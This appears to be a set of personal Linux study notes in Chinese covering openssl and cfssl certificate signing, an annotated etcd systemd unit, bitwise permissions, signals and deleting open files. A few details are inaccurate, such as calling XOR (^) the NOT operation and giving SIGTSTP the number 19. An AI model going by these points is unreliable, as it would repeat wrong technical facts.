簽發數字證書
openssl genrsa -des3 -out client.key 1024
openssl req -new -key client.key -out client.csr
openssl ca -in client.csr -out client.crt -cert ca.crt -keyfile ca.key
cfssl工具:
簽發CA證書:
配置ca 配置文件
配置ca csr配置文件
cfssl gencert -initca json/ca-csr.json | cfssljson -bare cert_dir/ca # 會生成ca.csr, ca-key.pem, ca.pem 三個文件
簽發數字證書:
申請機器的 csr 配置文件etcd-csr.json
cfssl gencert -ca=$cert_dir/ca.pem \
-ca-key=$cert_dir/ca-key.pem \
-config=json/ca-config.json \
-profile=$profile json/etcd-csr.json | cfssljson -bare $cert_dir/$profile # 會生成$profile.csr, $profile-key.pem, $profile.pem 三個文件
配置systemctl service:
[Unit]
Description=Etcd Server # 用於systemctl list-units的展示
After=network.target # 僅是說明服務啟動的順序而已,並沒有做到強依賴。還有Before,Requires(前置沒有啟動的話,該service不會啟動),Conflicts沖突
After=network-online.target
Wants=network-online.target # 最好還要啟動什么服務比較好,如果沒有啟動,其實不會影響到這個 unit 本身!
Documentation=https:
[Service]
Type=notify # simple:由 ExecStart 接的指令串來啟動,啟動后常駐於內存中。
# forking:當所有通信渠道都已建好、啟動亦已成功之后,父進程將會退出,而子進程將作為主服務進程繼續運行。 這是傳統UNIX守護進程的經典做法。
# oneshot:與 simple 類似,不同之處在於, 只有在該服務的主服務進程退出之后,systemd 才會認為該服務啟動完成,才會開始啟動后繼單元
# dbus:與 simple 類似,但這個 daemon 必須要在取得一個 D-Bus 的名稱后,才會繼續運行!因此設置這個項目時,通常也要設置 BusName= 才行!
# idle:這類的 daemon 通常是開機到最后才執行即可的服務!
# exec:與 simple 類似,不同之處在於, 只有在該服務的主服務進程執行完成之后,systemd 才會認為該服務啟動完成。
# notify:與 exec 類似,不同之處在於, 該服務將會在啟動完成之后通過 sd_notify(3) 之類的接口發送一個通知消息。
WorkingDirectory=/var/lib/etcd/ #
ExecStart=/opt/kube/bin/etcd \ # 在啟動該服務時需要執行的 命令行(命令+參數)。
ExecStop= # 當該服務被要求停止時所執行的命令行
ExecStopPost= # 與 ExecStop= 不同,無論服務是否啟動成功, 此選項中設置的命令都會在服務停止后被無條件的執行。
ExecReload= # 當該服務 被要求重新載入配置時 所執行的命令行。 語法規則與 ExecStart= 完全相同。
ExecStartPre= # 所有由 ExecStartPre= 派生的子進程 都會在啟動 ExecStart= 服務進程之前被殺死。
ExecStartPost= # 僅在 ExecStart= 中的命令已經全部執行成功之后才會運行。具體說來,對於 Type=simple 或 Type=idle 就是主進程已經成功啟動;
對於 Type=oneshot 來說就是最后一個 ExecStart= 進程已經成功退出; 對於 Type=forking 來說就是初始進程已經成功退出;
對於 Type=notify 來說就是已經發送了 "READY=1" ; 對於 Type=dbus 來說就是已經取得了 BusName= 中設置的總線名稱。
Restart=always # 當服務進程 正常退出、異常退出、被殺死、超時的時候, 是否重新啟動該服務。
RestartSec=15 # 設置在重啟服務(Restart=)前暫停多長時間。 默認單位是秒
LimitNOFILE=65536 #
OOMScoreAdjust=-999 # 內存超時kill掉的優先級,越小越低優先kill
[Install]
WantedBy=multi-user.target
type選擇:
1.建議對長時間持續運行的服務盡可能使用 Type=simple (這是最簡單和速度最快的選擇)。 注意,因為 simple 類型的服務 無法報告啟動失敗、也無法在服務完成初始化后對其他單元進行排序
2.當客戶端需要通過僅由該服務本身創建的IPC通道(而非由 systemd 創建的套接字或 D-bus 之類)連接到該服務的時候,simple 類型並不是最佳選擇。在這種情況下, notify 或 dbus(該服務必須提供 D-Bus 接口) 才是最佳選擇
3.notify 類型需要服務進程明確使用 sd_notify() 函數或類似的API, 否則,可以使用 forking 作為替代(它支持傳統的UNIX服務啟動協議)。
4.如果能夠確保服務進程調用成功、服務進程自身不做或只做很少的初始化工作(且不大可能初始化失敗), 那么 exec 將是最佳選擇。
5.因為使用任何 simple 之外的類型都需要等待服務完成初始化,所以可能會減慢系統啟動速度。 因此,應該盡可能避免使用 simple 之外的類型(除非必須)。
execStart只能絕對路徑:
可以通過
/bin/bash -c '$$(which python) /etc/npu/npu_info_gen.py'
sh -c 'dmesg | tac'
位運算與linux權限:
1.Linux基於位運算的權限控制
讀 寫 執行 二進制 十進制
0 0 1 ==> 001 ==> 1
0 1 0 ==> 010 ==> 2
1 0 0 ==> 100 ==> 4
0 1 1 ==> 011 ==> 3
1 0 1 ==> 101 ==> 5
1 1 0 ==> 110 ==> 6
1 1 1 ==> 111 ==> 7
最大為7,超過7后比如8&6的二進制位數不同了,就沒有可比性了,一般結果為0,但|一般結果是增加的
2. 或運算實現權限的添加
增加權限使用或(|)運算實現。
“讀寫”兩種權限,權限碼為6(110),其由權限碼2(010)和4(100)進行或(|)運算后實現,即:6 = 2|4,也可以由6=2+4計算得出。
3. 與運算實現權限的判斷
在需要進行用戶權限判斷時,可以使用與(&)運算判斷用戶是否據有某項權限。
根據與運算的計算規律,當運算結果為所要判斷權限本身值時,我們可以認為用戶具有這個權限。而當運算結果為0時,我們可以認為用戶不具有這個權限。如果為較小值,則擁有判斷最高權限的部分權限。
權限碼6(110)和4(100)的與運算結果為4,即:4=6&4。
權限碼6(110)和1(001)的與運算結果為0,即:0=6&1。
應用:
permissions = permissions & (~ace["permissions"])
判斷當前用戶的權限ace["permissions"]的相反值~,是否擁有將要判斷的permissions權限的部分,如果擁有,證明當前用戶的權限不夠
4. 非運算實現權限的減少
位運算同樣可以實現用戶權限的減少,減少用戶權限使用非(^)運算。
權限碼7(111)和1(001)的非運算結果為6,即:6=7^1,也可以由6=7-1計算得出。
5. 位移與權限碼
所使用的權限碼,可以將前一個權限碼``左位移一位得到下一個權限碼,即:
權限碼1(001),即:20
2=1<<1,即:將001左移1位為010,也即:由20變為21
4=2<<1,即:將010左移1位為100,也即:由21變為22
8=4<<1,即:將100左移1位為1000,也即:由22變為23
6.~運算符
權限取反
Linux信號基礎:
信號的產生方式多種多樣,它可以是內核自身產生的,比如出現硬件錯誤),內核需要通知某一進程;
也可以是其它進程產生的,發送給內核,再由內核傳遞給目標進程。
內核中針對每一個進程都有一個表存儲相關信息(房間的信箱)。
當內核需要將信號傳遞給某個進程時,就在該進程相對應的表中的適當位置寫入信號(塞入紙條),這樣,就生成(generate)了信號。
當該進程執行系統調用時,在系統調用完成后退出內核時,都會順便查看信箱里的信息。
如果有信號,進程會執行對應該信號的操作(signal action, 也叫做信號處理signal disposition),此時叫做執行(deliver)信號。
常見信號:
SIGINT 當鍵盤按下CTRL+C從shell中發出信號,信號被傳遞給shell中前台運行的進程,對應該信號的默認操作是中斷 (INTERRUPT) 該進程。 2
SIGQUIT 當鍵盤按下CTRL+\從shell中發出信號,信號被傳遞給shell中前台運行的進程,對應該信號的默認操作是退出 (QUIT) 該進程。 3
SIGTSTP 當鍵盤按下CTRL+Z從shell中發出信號,信號被傳遞給shell中前台運行的進程,對應該信號的默認操作是暫停 (STOP) 該進程。 19
SIGCONT 用於通知暫停的進程繼續。 18
SIGALRM 起到定時器的作用,通常是程序在一定的時間之后才生成該信號。 14
SIGTERM 進程終止(進程可捕獲) -15
SIGKILL 強制殺死進程(進程不可捕獲,直接報錯) -9
SIGUSR1 用戶信號, 進程可自定義用途,有信號到來時觸發 kill -10
SIGUSR2 用戶信號, 進程可自定義用途 kill -12
SIGXCPU CPU超時生成該信號
所有的這些信號都可以通過linux的kill -對應的數字來觸發信號
多線程使用信號,前一個SIGUSR1信號還沒處理完就來了SIGUSR2信號,就會丟棄SIGUSR2信號。
刪除正在讀寫的文件:
Linux 是通過 link 的數量來控制文件刪除,只有當一個文件不存在任何 link 的時候,這個文件才會被刪除。
每個文件都有 2 個 link 計數器 —— i_count 和 i_nlink。i_count 的意義是當前使用者的數量,i_nlink 的意義是介質連接的數量;或者可以理解為 i_count 是內存引用計數器,i_nlink 是硬盤引用計數器。
再換句話說,當文件被某個進程引用時,i_count 就會增加;當創建文件的硬連接的時候,i_nlink 就會增加。
rm 操作只是將 i_nlink 置為 0 了;由於文件被進程引用的緣故,i_count 不為 0,所以系統沒有真正刪除這個文件。i_nlink 是文件刪除的充分條件,而 i_count 才是文件刪除的必要條件。